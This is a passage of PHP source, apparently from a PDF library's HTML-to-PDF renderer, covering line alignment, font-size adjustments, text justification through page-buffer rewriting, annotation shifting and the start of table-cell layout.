$dom[$key]['opening'] AND ($dom[$key]['value'] == 'tr') AND (!isset($dom[$key]['thead']) OR !$dom[$key]['thead'])) OR ($dom[$key]['tag'] AND (!$dom[$key]['opening']) AND ($dom[$key]['value'] == 'table'))) )) { ++$key; } } if ($dom[$key]['tag'] OR ($key == 0)) { if ((($dom[$key]['value'] == 'table') OR ($dom[$key]['value'] == 'tr')) AND (isset($dom[$key]['align']))) { $dom[$key]['align'] = ($this->rtl) ? 'R' : 'L'; } // vertically align image in line if ((!$this->newline) AND ($dom[$key]['value'] == 'img') AND (isset($dom[$key]['height'])) AND ($dom[$key]['height'] > 0)) { // get image height $imgh = $this->getHTMLUnitToUnits($dom[$key]['height'], $this->lasth, 'px'); $autolinebreak = false; if (isset($dom[$key]['width']) AND ($dom[$key]['width'] > 0)) { $imgw = $this->getHTMLUnitToUnits($dom[$key]['width'], 1, 'px', false); if (($imgw <= ($this->w - $this->lMargin - $this->rMargin - $this->cell_padding['L'] - $this->cell_padding['R'])) AND ((($this->rtl) AND (($this->x - $imgw) < ($this->lMargin + $this->cell_padding['L']))) OR ((!$this->rtl) AND (($this->x + $imgw) > ($this->w - $this->rMargin - $this->cell_padding['R']))))) { // add automatic line break $autolinebreak = true; $this->Ln('', $cell); if ((!$dom[($key-1)]['tag']) AND ($dom[($key-1)]['value'] == ' ')) { // go back to evaluate this line break --$key; } } } if (!$autolinebreak) { if ($this->inPageBody()) { $pre_y = $this->y; // check for page break if ((!$this->checkPageBreak($imgh)) AND ($this->y < $pre_y)) { // fix for multicolumn mode $startliney = $this->y; } } if ($this->page > $startlinepage) { // fix line splitted over two pages if (isset($this->footerlen[$startlinepage])) { $curpos = $this->pagelen[$startlinepage] - $this->footerlen[$startlinepage]; } // line to be moved one page forward $pagebuff = $this->getPageBuffer($startlinepage); $linebeg = substr($pagebuff, $startlinepos, ($curpos - $startlinepos)); $tstart = substr($pagebuff, 0, $startlinepos); $tend = substr($this->getPageBuffer($startlinepage), $curpos); // remove line from previous page $this->setPageBuffer($startlinepage, $tstart.''.$tend); $pagebuff = $this->getPageBuffer($this->page); $tstart = substr($pagebuff, 0, $this->cntmrk[$this->page]); $tend = substr($pagebuff, $this->cntmrk[$this->page]); // add line start to current page $yshift = ($minstartliney - $this->y); if ($fontaligned) { $yshift += ($curfontsize / $this->k); } $try = sprintf('1 0 0 1 0 %F cm', ($yshift * $this->k)); $this->setPageBuffer($this->page, $tstart."\nq\n".$try."\n".$linebeg."\nQ\n".$tend); // shift the annotations and links if (isset($this->PageAnnots[$this->page])) { $next_pask = count($this->PageAnnots[$this->page]); } else { $next_pask = 0; } if (isset($this->PageAnnots[$startlinepage])) { foreach ($this->PageAnnots[$startlinepage] as $pak => $pac) { if ($pak >= $pask) { $this->PageAnnots[$this->page][] = $pac; unset($this->PageAnnots[$startlinepage][$pak]); $npak = count($this->PageAnnots[$this->page]) - 1; $this->PageAnnots[$this->page][$npak]['y'] -= $yshift; } } } $pask = $next_pask; $startlinepos = $this->cntmrk[$this->page]; $startlinepage = $this->page; $startliney = $this->y; $this->newline = false; } $this->y += ((($curfontsize * $this->cell_height_ratio / $this->k) + $curfontascent - $curfontdescent) / 2) - $imgh; $minstartliney = min($this->y, $minstartliney); $maxbottomliney = ($startliney + ($this->FontSize * $this->cell_height_ratio)); } } elseif (isset($dom[$key]['fontname']) OR isset($dom[$key]['fontstyle']) OR isset($dom[$key]['fontsize']) OR isset($dom[$key]['line-height'])) { // account for different font size $pfontname = $curfontname; $pfontstyle = $curfontstyle; $pfontsize = $curfontsize; $fontname = isset($dom[$key]['fontname']) ? $dom[$key]['fontname'] : $curfontname; $fontstyle = isset($dom[$key]['fontstyle']) ? $dom[$key]['fontstyle'] : $curfontstyle; $fontsize = isset($dom[$key]['fontsize']) ? $dom[$key]['fontsize'] : $curfontsize; $fontascent = $this->getFontAscent($fontname, $fontstyle, $fontsize); $fontdescent = $this->getFontDescent($fontname, $fontstyle, $fontsize); if (($fontname != $curfontname) OR ($fontstyle != $curfontstyle) OR ($fontsize != $curfontsize) OR ($this->cell_height_ratio != $dom[$key]['line-height']) OR ($dom[$key]['tag'] AND $dom[$key]['opening'] AND ($dom[$key]['value'] == 'li')) ) { if (($key < ($maxel - 1)) AND ( ($dom[$key]['tag'] AND $dom[$key]['opening'] AND ($dom[$key]['value'] == 'li')) OR ($this->cell_height_ratio != $dom[$key]['line-height']) OR (!$this->newline AND is_numeric($fontsize) AND is_numeric($curfontsize) AND ($fontsize >= 0) AND ($curfontsize >= 0) AND ($fontsize != $curfontsize)) )) { if ($this->page > $startlinepage) { // fix lines splitted over two pages if (isset($this->footerlen[$startlinepage])) { $curpos = $this->pagelen[$startlinepage] - $this->footerlen[$startlinepage]; } // line to be moved one page forward $pagebuff = $this->getPageBuffer($startlinepage); $linebeg = substr($pagebuff, $startlinepos, ($curpos - $startlinepos)); $tstart = substr($pagebuff, 0, $startlinepos); $tend = substr($this->getPageBuffer($startlinepage), $curpos); // remove line start from previous page $this->setPageBuffer($startlinepage, $tstart.''.$tend); $pagebuff = $this->getPageBuffer($this->page); $tstart = substr($pagebuff, 0, $this->cntmrk[$this->page]); $tend = substr($pagebuff, $this->cntmrk[$this->page]); // add line start to current page $yshift = ($minstartliney - $this->y); $try = sprintf('1 0 0 1 0 %F cm', ($yshift * $this->k)); $this->setPageBuffer($this->page, $tstart."\nq\n".$try."\n".$linebeg."\nQ\n".$tend); // shift the annotations and links if (isset($this->PageAnnots[$this->page])) { $next_pask = count($this->PageAnnots[$this->page]); } else { $next_pask = 0; } if (isset($this->PageAnnots[$startlinepage])) { foreach ($this->PageAnnots[$startlinepage] as $pak => $pac) { if ($pak >= $pask) { $this->PageAnnots[$this->page][] = $pac; unset($this->PageAnnots[$startlinepage][$pak]); $npak = count($this->PageAnnots[$this->page]) - 1; $this->PageAnnots[$this->page][$npak]['y'] -= $yshift; } } } $pask = $next_pask; $startlinepos = $this->cntmrk[$this->page]; $startlinepage = $this->page; $startliney = $this->y; } if (!isset($dom[$key]['line-height'])) { $dom[$key]['line-height'] = $this->cell_height_ratio; } if (!$dom[$key]['block']) { if (!(isset($dom[($key + 1)]) AND $dom[($key + 1)]['tag'] AND (!$dom[($key + 1)]['opening']) AND ($dom[($key + 1)]['value'] != 'li') AND $dom[$key]['tag'] AND (!$dom[$key]['opening']))) { $this->y += (((($curfontsize * $this->cell_height_ratio) - ($fontsize * $dom[$key]['line-height'])) / $this->k) + $curfontascent - $fontascent - $curfontdescent + $fontdescent) / 2; } if (($dom[$key]['value'] != 'sup') AND ($dom[$key]['value'] != 'sub')) { $current_line_align_data = array($key, $minstartliney, $maxbottomliney); if (isset($line_align_data) AND (($line_align_data[0] == ($key - 1)) OR (($line_align_data[0] == ($key - 2)) AND (isset($dom[($key - 1)])) AND (preg_match('/^([\s]+)$/', $dom[($key - 1)]['value']) > 0)))) { $minstartliney = min($this->y, $line_align_data[1]); $maxbottomliney = max(($this->y + (($fontsize * $this->cell_height_ratio) / $this->k)), $line_align_data[2]); } else { $minstartliney = min($this->y, $minstartliney); $maxbottomliney = max(($this->y + (($fontsize * $this->cell_height_ratio) / $this->k)), $maxbottomliney); } $line_align_data = $current_line_align_data; } } $this->cell_height_ratio = $dom[$key]['line-height']; $fontaligned = true; } $this->SetFont($fontname, $fontstyle, $fontsize); // reset row height $this->resetLastH(); $curfontname = $fontname; $curfontstyle = $fontstyle; $curfontsize = $fontsize; $curfontascent = $fontascent; $curfontdescent = $fontdescent; } } // set text rendering mode $textstroke = isset($dom[$key]['stroke']) ? $dom[$key]['stroke'] : $this->textstrokewidth; $textfill = isset($dom[$key]['fill']) ? $dom[$key]['fill'] : (($this->textrendermode % 2) == 0); $textclip = isset($dom[$key]['clip']) ? $dom[$key]['clip'] : ($this->textrendermode > 3); $this->setTextRenderingMode($textstroke, $textfill, $textclip); if (isset($dom[$key]['font-stretch']) AND ($dom[$key]['font-stretch'] !== false)) { $this->setFontStretching($dom[$key]['font-stretch']); } if (isset($dom[$key]['letter-spacing']) AND ($dom[$key]['letter-spacing'] !== false)) { $this->setFontSpacing($dom[$key]['letter-spacing']); } if (($plalign == 'J') AND $dom[$key]['block']) { $plalign = ''; } // get current position on page buffer $curpos = $this->pagelen[$startlinepage]; if (isset($dom[$key]['bgcolor']) AND ($dom[$key]['bgcolor'] !== false)) { $this->SetFillColorArray($dom[$key]['bgcolor']); $wfill = true; } else { $wfill = $fill | false; } if (isset($dom[$key]['fgcolor']) AND ($dom[$key]['fgcolor'] !== false)) { $this->SetTextColorArray($dom[$key]['fgcolor']); } if (isset($dom[$key]['strokecolor']) AND ($dom[$key]['strokecolor'] !== false)) { $this->SetDrawColorArray($dom[$key]['strokecolor']); } if (isset($dom[$key]['align'])) { $lalign = $dom[$key]['align']; } if ($this->empty_string($lalign)) { $lalign = $align; } } // align lines if ($this->newline AND (strlen($dom[$key]['value']) > 0) AND ($dom[$key]['value'] != 'td') AND ($dom[$key]['value'] != 'th')) { $newline = true; $fontaligned = false; // we are at the beginning of a new line if (isset($startlinex)) { $yshift = ($minstartliney - $startliney); if (($yshift > 0) OR ($this->page > $startlinepage)) { $yshift = 0; } $t_x = 0; // the last line must be shifted to be aligned as requested $linew = abs($this->endlinex - $startlinex); if ($this->inxobj) { // we are inside an XObject template $pstart = substr($this->xobjects[$this->xobjid]['outdata'], 0, $startlinepos); if (isset($opentagpos)) { $midpos = $opentagpos; } else { $midpos = 0; } if ($midpos > 0) { $pmid = substr($this->xobjects[$this->xobjid]['outdata'], $startlinepos, ($midpos - $startlinepos)); $pend = substr($this->xobjects[$this->xobjid]['outdata'], $midpos); } else { $pmid = substr($this->xobjects[$this->xobjid]['outdata'], $startlinepos); $pend = ''; } } else { $pstart = substr($this->getPageBuffer($startlinepage), 0, $startlinepos); if (isset($opentagpos) AND isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)) { $this->footerpos[$startlinepage] = $this->pagelen[$startlinepage] - $this->footerlen[$startlinepage]; $midpos = min($opentagpos, $this->footerpos[$startlinepage]); } elseif (isset($opentagpos)) { $midpos = $opentagpos; } elseif (isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)) { $this->footerpos[$startlinepage] = $this->pagelen[$startlinepage] - $this->footerlen[$startlinepage]; $midpos = $this->footerpos[$startlinepage]; } else { $midpos = 0; } if ($midpos > 0) { $pmid = substr($this->getPageBuffer($startlinepage), $startlinepos, ($midpos - $startlinepos)); $pend = substr($this->getPageBuffer($startlinepage), $midpos); } else { $pmid = substr($this->getPageBuffer($startlinepage), $startlinepos); $pend = ''; } } if ((isset($plalign) AND ((($plalign == 'C') OR ($plalign == 'J') OR (($plalign == 'R') AND (!$this->rtl)) OR (($plalign == 'L') AND ($this->rtl)))))) { // calculate shifting amount $tw = $w; if (($plalign == 'J') AND $this->isRTLTextDir() AND ($this->num_columns > 1)) { $tw += $this->cell_padding['R']; } if ($this->lMargin != $prevlMargin) { $tw += ($prevlMargin - $this->lMargin); } if ($this->rMargin != $prevrMargin) { $tw += ($prevrMargin - $this->rMargin); } $one_space_width = $this->GetStringWidth(chr(32)); $no = 0; // number of spaces on a line contained on a single block if ($this->isRTLTextDir()) { // RTL // remove left space if exist $pos1 = $this->revstrpos($pmid, '[('); if ($pos1 > 0) { $pos1 = intval($pos1); if ($this->isUnicodeFont()) { $pos2 = intval($this->revstrpos($pmid, '[('.chr(0).chr(32))); $spacelen = 2; } else { $pos2 = intval($this->revstrpos($pmid, '[('.chr(32))); $spacelen = 1; } if ($pos1 == $pos2) { $pmid = substr($pmid, 0, ($pos1 + 2)).substr($pmid, ($pos1 + 2 + $spacelen)); if (substr($pmid, $pos1, 4) == '[()]') { $linew -= $one_space_width; } elseif ($pos1 == strpos($pmid, '[(')) { $no = 1; } } } } else { // LTR // remove right space if exist $pos1 = $this->revstrpos($pmid, ')]'); if ($pos1 > 0) { $pos1 = intval($pos1); if ($this->isUnicodeFont()) { $pos2 = intval($this->revstrpos($pmid, chr(0).chr(32).')]')) + 2; $spacelen = 2; } else { $pos2 = intval($this->revstrpos($pmid, chr(32).')]')) + 1; $spacelen = 1; } if ($pos1 == $pos2) { $pmid = substr($pmid, 0, ($pos1 - $spacelen)).substr($pmid, $pos1); $linew -= $one_space_width; } } } $mdiff = ($tw - $linew); if ($plalign == 'C') { if ($this->rtl) { $t_x = -($mdiff / 2); } else { $t_x = ($mdiff / 2); } } elseif ($plalign == 'R') { // right alignment on LTR document $t_x = $mdiff; } elseif ($plalign == 'L') { // left alignment on RTL document $t_x = -$mdiff; } elseif (($plalign == 'J') AND ($plalign == $lalign)) { // Justification if ($this->isRTLTextDir()) { // align text on the left $t_x = -$mdiff; } $ns = 0; // number of spaces $pmidtemp = $pmid; // escape special characters $pmidtemp = preg_replace('/[\\\][\(]/x', '\\#!#OP#!#', $pmidtemp); $pmidtemp = preg_replace('/[\\\][\)]/x', '\\#!#CP#!#', $pmidtemp); // search spaces if (preg_match_all('/\[\(([^\)]*)\)\]/x', $pmidtemp, $lnstring, PREG_PATTERN_ORDER)) { $spacestr = $this->getSpaceString(); $maxkk = count($lnstring[1]) - 1; for ($kk=0; $kk <= $maxkk; ++$kk) { // restore special characters $lnstring[1][$kk] = str_replace('#!#OP#!#', '(', $lnstring[1][$kk]); $lnstring[1][$kk] = str_replace('#!#CP#!#', ')', $lnstring[1][$kk]); // store number of spaces on the strings $lnstring[2][$kk] = substr_count($lnstring[1][$kk], $spacestr); // count total spaces on line $ns += $lnstring[2][$kk]; $lnstring[3][$kk] = $ns; } if ($ns == 0) { $ns = 1; } // calculate additional space to add to each existing space $spacewidth = ($mdiff / ($ns - $no)) * $this->k; $spacewidthu = -1000 * ($mdiff + (($ns + $no) * $one_space_width)) / $ns / $this->FontSize; if ($this->font_spacing != 0) { // fixed spacing mode $osw = -1000 * $this->font_spacing / $this->FontSize; $spacewidthu += $osw; } $nsmax = $ns; $ns = 0; reset($lnstring); $offset = 0; $strcount = 0; $prev_epsposbeg = 0; $textpos = 0; if ($this->isRTLTextDir()) { $textpos = $this->wPt; } global $spacew; while (preg_match('/([0-9\.\+\-]*)[\s](Td|cm|m|l|c|re)[\s]/x', $pmid, $strpiece, PREG_OFFSET_CAPTURE, $offset) == 1) { // check if we are inside a string section '[( ... )]' $stroffset = strpos($pmid, '[(', $offset); if (($stroffset !== false) AND ($stroffset <= $strpiece[2][1])) { // set offset to the end of string section $offset = strpos($pmid, ')]', $stroffset); while (($offset !== false) AND ($pmid[($offset - 1)] == '\\')) { $offset = strpos($pmid, ')]', ($offset + 1)); } if ($offset === false) { $this->Error('HTML Justification: malformed PDF code.'); } continue; } if ($this->isRTLTextDir()) { $spacew = ($spacewidth * ($nsmax - $ns)); } else { $spacew = ($spacewidth * $ns); } $offset = $strpiece[2][1] + strlen($strpiece[2][0]); $epsposbeg = strpos($pmid, 'q'.$this->epsmarker, $offset); $epsposend = strpos($pmid, $this->epsmarker.'Q', $offset) + strlen($this->epsmarker.'Q'); if ((($epsposbeg > 0) AND ($epsposend > 0) AND ($offset > $epsposbeg) AND ($offset < $epsposend)) OR (($epsposbeg === false) AND ($epsposend > 0) AND ($offset < $epsposend))) { // shift EPS images $trx = sprintf('1 0 0 1 %F 0 cm', $spacew); $epsposbeg = strpos($pmid, 'q'.$this->epsmarker, ($prev_epsposbeg - 6)); $pmid_b = substr($pmid, 0, $epsposbeg); $pmid_m = substr($pmid, $epsposbeg, ($epsposend - $epsposbeg)); $pmid_e = substr($pmid, $epsposend); $pmid = $pmid_b."\nq\n".$trx."\n".$pmid_m."\nQ\n".$pmid_e; $offset = $epsposend; continue; } $prev_epsposbeg = $epsposbeg; $currentxpos = 0; // shift blocks of code switch ($strpiece[2][0]) { case 'Td': case 'cm': case 'm': case 'l': { // get current X position preg_match('/([0-9\.\+\-]*)[\s]('.$strpiece[1][0].')[\s]('.$strpiece[2][0].')([\s]*)/x', $pmid, $xmatches); $currentxpos = $xmatches[1]; $textpos = $currentxpos; if (($strcount <= $maxkk) AND ($strpiece[2][0] == 'Td')) { $ns = $lnstring[3][$strcount]; if ($this->isRTLTextDir()) { $spacew = ($spacewidth * ($nsmax - $ns)); } ++$strcount; } // justify block $pmid = preg_replace_callback('/([0-9\.\+\-]*)[\s]('.$strpiece[1][0].')[\s]('.$strpiece[2][0].')([\s]*)/x', create_function('$matches', 'global $spacew; $newx = sprintf("%F",(floatval($matches[1]) + $spacew)); return "".$newx." ".$matches[2]." x*#!#*x".$matches[3].$matches[4];'), $pmid, 1); break; } case 're': { // justify block if (!$this->empty_string($this->lispacer)) { $this->lispacer = ''; continue; } preg_match('/([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]('.$strpiece[1][0].')[\s](re)([\s]*)/x', $pmid, $xmatches); $currentxpos = $xmatches[1]; global $x_diff, $w_diff; $x_diff = 0; $w_diff = 0; if ($this->isRTLTextDir()) { // RTL if ($currentxpos < $textpos) { $x_diff = ($spacewidth * ($nsmax - $lnstring[3][$strcount])); $w_diff = ($spacewidth * $lnstring[2][$strcount]); } else { if ($strcount > 0) { $x_diff = ($spacewidth * ($nsmax - $lnstring[3][($strcount - 1)])); $w_diff = ($spacewidth * $lnstring[2][($strcount - 1)]); } } } else { // LTR if ($currentxpos > $textpos) { if ($strcount > 0) { $x_diff = ($spacewidth * $lnstring[3][($strcount - 1)]); } $w_diff = ($spacewidth * $lnstring[2][$strcount]); } else { if ($strcount > 1) { $x_diff = ($spacewidth * $lnstring[3][($strcount - 2)]); } if ($strcount > 0) { $w_diff = ($spacewidth * $lnstring[2][($strcount - 1)]); } } } $pmid = preg_replace_callback('/('.$xmatches[1].')[\s]('.$xmatches[2].')[\s]('.$xmatches[3].')[\s]('.$strpiece[1][0].')[\s](re)([\s]*)/x', create_function('$matches', 'global $x_diff, $w_diff; $newx = sprintf("%F",(floatval($matches[1]) + $x_diff)); $neww = sprintf("%F",(floatval($matches[3]) + $w_diff)); return "".$newx." ".$matches[2]." ".$neww." ".$matches[4]." x*#!#*x".$matches[5].$matches[6];'), $pmid, 1); break; } case 'c': { // get current X position preg_match('/([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]('.$strpiece[1][0].')[\s](c)([\s]*)/x', $pmid, $xmatches); $currentxpos = $xmatches[1]; // justify block $pmid = preg_replace_callback('/('.$xmatches[1].')[\s]('.$xmatches[2].')[\s]('.$xmatches[3].')[\s]('.$xmatches[4].')[\s]('.$xmatches[5].')[\s]('.$strpiece[1][0].')[\s](c)([\s]*)/x', create_function('$matches', 'global $spacew; $newx1 = sprintf("%F",(floatval($matches[1]) + $spacew)); $newx2 = sprintf("%F",(floatval($matches[3]) + $spacew)); $newx3 = sprintf("%F",(floatval($matches[5]) + $spacew)); return "".$newx1." ".$matches[2]." ".$newx2." ".$matches[4]." ".$newx3." ".$matches[6]." x*#!#*x".$matches[7].$matches[8];'), $pmid, 1); break; } } // shift the annotations and links $cxpos = ($currentxpos / $this->k); $lmpos = ($this->lMargin + $this->cell_padding['L'] + $this->feps); if ($this->inxobj) { // we are inside an XObject template foreach ($this->xobjects[$this->xobjid]['annotations'] as $pak => $pac) { if (($pac['y'] >= $minstartliney) AND (($pac['x'] * $this->k) >= ($currentxpos - $this->feps)) AND (($pac['x'] * $this->k) <= ($currentxpos + $this->feps))) { if ($cxpos > $lmpos) { $this->xobjects[$this->xobjid]['annotations'][$pak]['x'] += ($spacew / $this->k); $this->xobjects[$this->xobjid]['annotations'][$pak]['w'] += (($spacewidth * $pac['numspaces']) / $this->k); } else { $this->xobjects[$this->xobjid]['annotations'][$pak]['w'] += (($spacewidth * $pac['numspaces']) / $this->k); } break; } } } elseif (isset($this->PageAnnots[$this->page])) { foreach ($this->PageAnnots[$this->page] as $pak => $pac) { if (($pac['y'] >= $minstartliney) AND (($pac['x'] * $this->k) >= ($currentxpos - $this->feps)) AND (($pac['x'] * $this->k) <= ($currentxpos + $this->feps))) { if ($cxpos > $lmpos) { $this->PageAnnots[$this->page][$pak]['x'] += ($spacew / $this->k); $this->PageAnnots[$this->page][$pak]['w'] += (($spacewidth * $pac['numspaces']) / $this->k); } else { $this->PageAnnots[$this->page][$pak]['w'] += (($spacewidth * $pac['numspaces']) / $this->k); } break; } } } } // end of while // remove markers $pmid = str_replace('x*#!#*x', '', $pmid); if ($this->isUnicodeFont()) { // multibyte characters $spacew = $spacewidthu; if ($this->font_stretching != 100) { // word spacing is affected by stretching $spacew /= ($this->font_stretching / 100); } $pmidtemp = $pmid; // escape special characters $pmidtemp = preg_replace('/[\\\][\(]/x', '\\#!#OP#!#', $pmidtemp); $pmidtemp = preg_replace('/[\\\][\)]/x', '\\#!#CP#!#', $pmidtemp); $pmid = preg_replace_callback("/\[\(([^\)]*)\)\]/x", create_function('$matches', 'global $spacew; $matches[1] = str_replace("#!#OP#!#", "(", $matches[1]); $matches[1] = str_replace("#!#CP#!#", ")", $matches[1]); return "[(".str_replace(chr(0).chr(32), ") ".sprintf("%F", $spacew)." (", $matches[1]).")]";'), $pmidtemp); if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['outdata'] = $pstart."\n".$pmid."\n".$pend; } else { $this->setPageBuffer($startlinepage, $pstart."\n".$pmid."\n".$pend); } $endlinepos = strlen($pstart."\n".$pmid."\n"); } else { // non-unicode (single-byte characters) if ($this->font_stretching != 100) { // word spacing (Tw) is affected by stretching $spacewidth /= ($this->font_stretching / 100); } $rs = sprintf('%F Tw', $spacewidth); $pmid = preg_replace("/\[\(/x", $rs.' [(', $pmid); if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['outdata'] = $pstart."\n".$pmid."\nBT 0 Tw ET\n".$pend; } else { $this->setPageBuffer($startlinepage, $pstart."\n".$pmid."\nBT 0 Tw ET\n".$pend); } $endlinepos = strlen($pstart."\n".$pmid."\nBT 0 Tw ET\n"); } } } // end of J } // end if $startlinex if (($t_x != 0) OR ($yshift < 0)) { // shift the line $trx = sprintf('1 0 0 1 %F %F cm', ($t_x * $this->k), ($yshift * $this->k)); $pstart .= "\nq\n".$trx."\n".$pmid."\nQ\n"; $endlinepos = strlen($pstart); if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['outdata'] = $pstart.$pend; foreach ($this->xobjects[$this->xobjid]['annotations'] as $pak => $pac) { if ($pak >= $pask) { $this->xobjects[$this->xobjid]['annotations'][$pak]['x'] += $t_x; $this->xobjects[$this->xobjid]['annotations'][$pak]['y'] -= $yshift; } } } else { $this->setPageBuffer($startlinepage, $pstart.$pend); // shift the annotations and links if (isset($this->PageAnnots[$this->page])) { foreach ($this->PageAnnots[$this->page] as $pak => $pac) { if ($pak >= $pask) { $this->PageAnnots[$this->page][$pak]['x'] += $t_x; $this->PageAnnots[$this->page][$pak]['y'] -= $yshift; } } } } $this->y -= $yshift; } } $pbrk = $this->checkPageBreak($this->lasth); $this->newline = false; $startlinex = $this->x; $startliney = $this->y; if ($dom[$dom[$key]['parent']]['value'] == 'sup') { $startliney -= ((0.3 * $this->FontSizePt) / $this->k); } elseif ($dom[$dom[$key]['parent']]['value'] == 'sub') { $startliney -= (($this->FontSizePt / 0.7) / $this->k); } else { $minstartliney = $startliney; $maxbottomliney = ($this->y + (($fontsize * $this->cell_height_ratio) / $this->k)); } $startlinepage = $this->page; if (isset($endlinepos) AND (!$pbrk)) { $startlinepos = $endlinepos; } else { if ($this->inxobj) { // we are inside an XObject template $startlinepos = strlen($this->xobjects[$this->xobjid]['outdata']); } elseif (!$this->InFooter) { if (isset($this->footerlen[$this->page])) { $this->footerpos[$this->page] = $this->pagelen[$this->page] - $this->footerlen[$this->page]; } else { $this->footerpos[$this->page] = $this->pagelen[$this->page]; } $startlinepos = $this->footerpos[$this->page]; } else { $startlinepos = $this->pagelen[$this->page]; } } unset($endlinepos); $plalign = $lalign; if (isset($this->PageAnnots[$this->page])) { $pask = count($this->PageAnnots[$this->page]); } else { $pask = 0; } if (!($dom[$key]['tag'] AND !$dom[$key]['opening'] AND ($dom[$key]['value'] == 'table') AND (isset($this->emptypagemrk[$this->page])) AND ($this->emptypagemrk[$this->page] == $this->pagelen[$this->page]))) { $this->SetFont($fontname, $fontstyle, $fontsize); if ($wfill) { $this->SetFillColorArray($this->bgcolor); } } } // end newline if (isset($opentagpos)) { unset($opentagpos); } if ($dom[$key]['tag']) { if ($dom[$key]['opening']) { // get text indentation (if any) if (isset($dom[$key]['text-indent']) AND $dom[$key]['block']) { $this->textindent = $dom[$key]['text-indent']; $this->newline = true; } // table if ($dom[$key]['value'] == 'table') { // available page width if ($this->rtl) { $wtmp = $this->x - $this->lMargin; } else { $wtmp = $this->w - $this->rMargin - $this->x; } // get cell spacing if (isset($dom[$key]['attribute']['cellspacing'])) { $clsp = $this->getHTMLUnitToUnits($dom[$key]['attribute']['cellspacing'], 1, 'px'); $cellspacing = array('H' => $clsp, 'V' => $clsp); } elseif (isset($dom[$key]['border-spacing'])) { $cellspacing = $dom[$key]['border-spacing']; } else { $cellspacing = array('H' => 0, 'V' => 0); } // table width if (isset($dom[$key]['width'])) { $table_width = $this->getHTMLUnitToUnits($dom[$key]['width'], $wtmp, 'px'); } else { $table_width = $wtmp; } $table_width -= (2 * $cellspacing['H']); if (!$this->inthead) { $this->y += $cellspacing['V']; } if ($this->rtl) { $cellspacingx = -$cellspacing['H']; } else { $cellspacingx = $cellspacing['H']; } // total table width without cellspaces $table_columns_width = ($table_width - ($cellspacing['H'] * ($dom[$key]['cols'] - 1))); // minimum column width $table_min_column_width = ($table_columns_width / $dom[$key]['cols']); // array of custom column widths $table_colwidths = array_fill(0, $dom[$key]['cols'], $table_min_column_width); } // table row if ($dom[$key]['value'] == 'tr') { // reset column counter $colid = 0; } // table cell if (($dom[$key]['value'] == 'td') OR ($dom[$key]['value'] == 'th')) { $trid = $dom[$key]['parent']; $table_el = $dom[$trid]['parent']; if (!isset($dom[$table_el]['cols'])) { $dom[$table_el]['cols'] = $dom[$trid]['cols']; } // store border info $tdborder = 0; if (isset($dom[$key]['border']) AND !empty($dom[$key]['border'])) { $tdborder = $dom[$key]['border']; } $colspan = $dom[$key]['attribute']['colspan']; $old_cell_padding = $this->cell_padding; if (isset($dom[($dom[$trid]['parent'])]['attribute']['cellpadding'])) { $crclpd = $this->getHTMLUnitToUnits($dom[($dom[$trid]['parent'])]['attribute']['cellpadding'], 1, 'px'); $current_cell_padding = array('L' => $crclpd, 'T' => $crclpd, 'R' => $crclpd, 'B' => $crclpd); } elseif (isset($dom[($dom[$trid]['parent'])]['padding'])) { $current_cell_padding = $dom[($dom[$trid]['parent'])]['padding']; } else { $current_cell_padding = array('L' => 0, 'T' => 0, 'R' => 0, 'B' => 0); } $this->cell_padding = $current_cell_padding; if (isset($dom[$key]['height'])) { // minimum cell height $cellh = $this->getHTMLUnitToUnits($dom[$key]['height'], 0, 'px'); } else { $cellh = 0; } if (isset($dom[$key]['content'])) { $cell_content = stripslashes($dom[$key]['content']); } else { $cell_content = ' '; } $tagtype = $dom[$key]['value']; $parentid = $key; while (($key < $maxel) AND (!(($dom[$key]['tag']) AND (!$dom[$key]['opening']) AND ($dom[$key]['value'] == $tagtype) AND ($dom[$key]['parent'] == $parentid)))) { // move $key index forward ++$key; } if (!isset($dom[$trid]['startpage'])) { $dom[$trid]['startpage'] = $this->page; } else { $this->setPage($dom[$trid]['startpage']); } if (!isset($dom[$trid]['startcolumn'])) { $dom[$trid]['startcolumn'] = $this->current_column; } elseif ($this->current_column != $dom[$trid]['startcolumn']) { $tmpx = $this->x; $this->selectColumn($dom[$trid]['startcolumn']); $this->x = $tmpx; } if (!isset($dom[$trid]['starty'])) { $dom[$trid]['starty'] = $this->y; } else { $this->y = $dom[$trid]['starty']; } if (!isset($dom[$trid]['startx'])) { $dom[$trid]['startx'] = $this->x; $this->x += $cellspacingx; } else { $this->x += ($cellspacingx / 2); } if (isset($dom[$parentid]['attribute']['rowspan'])) { $rowspan = intval($dom[$parentid]['attribute']['rowspan']); } else { $rowspan = 1; } // skip row-spanned cells started on the previous rows if (isset($dom[$table_el]['rowspans'])) { $rsk = 0; $rskmax = count($dom[$table_el]['rowspans']); while ($rsk < $rskmax) { $trwsp = $dom[$table_el]['rowspans'][$rsk]; $rsstartx = $trwsp['startx']; $rsendx = $trwsp['endx']; // account for margin changes if ($trwsp['startpage'] < $this->page) { if (($this->rtl) AND ($this->pagedim[$this->page]['orm'] != $this->pagedim[$trwsp['startpage']]['orm'])) { $dl = ($this->pagedim[$this->page]['orm'] - $this->pagedim[$trwsp['startpage']]['orm']); $rsstartx -= $dl; $rsendx -= $dl; } elseif ((!$this->rtl) AND ($this->pagedim[$this->page]['olm'] != $this->pagedim[$trwsp['startpage']]['olm'])) { $dl = ($this->pagedim[$this->page]['olm'] - $this->pagedim[$trwsp['startpage']]['olm']); $rsstartx += $dl; $rsendx += $dl; } } if (($trwsp['rowspan'] > 0) AND ($rsstartx > ($this->x - $cellspacing['H'] - $current_cell_padding['L'] - $this->feps)) AND ($rsstartx < ($this->x + $cellspacing['H'] + $current_cell_padding['R'] + $this->feps)) AND (($trwsp['starty'] < ($this->y - $this->feps)) OR ($trwsp['startpage'] < $this->page) OR ($trwsp['startcolumn'] < $this->current_column))) { // set the starting X position of the current cell $this->x = $rsendx + $cellspacingx; // increment column indicator $colid += $trwsp['colspan']; if (($trwsp['rowspan'] == 1) AND (isset($dom[$trid]['endy'])) AND (isset($dom[$trid]['endpage'])) AND (isset($dom[$trid]['endcolumn'])) AND ($trwsp['endpage'] == $dom[$trid]['endpage']) AND 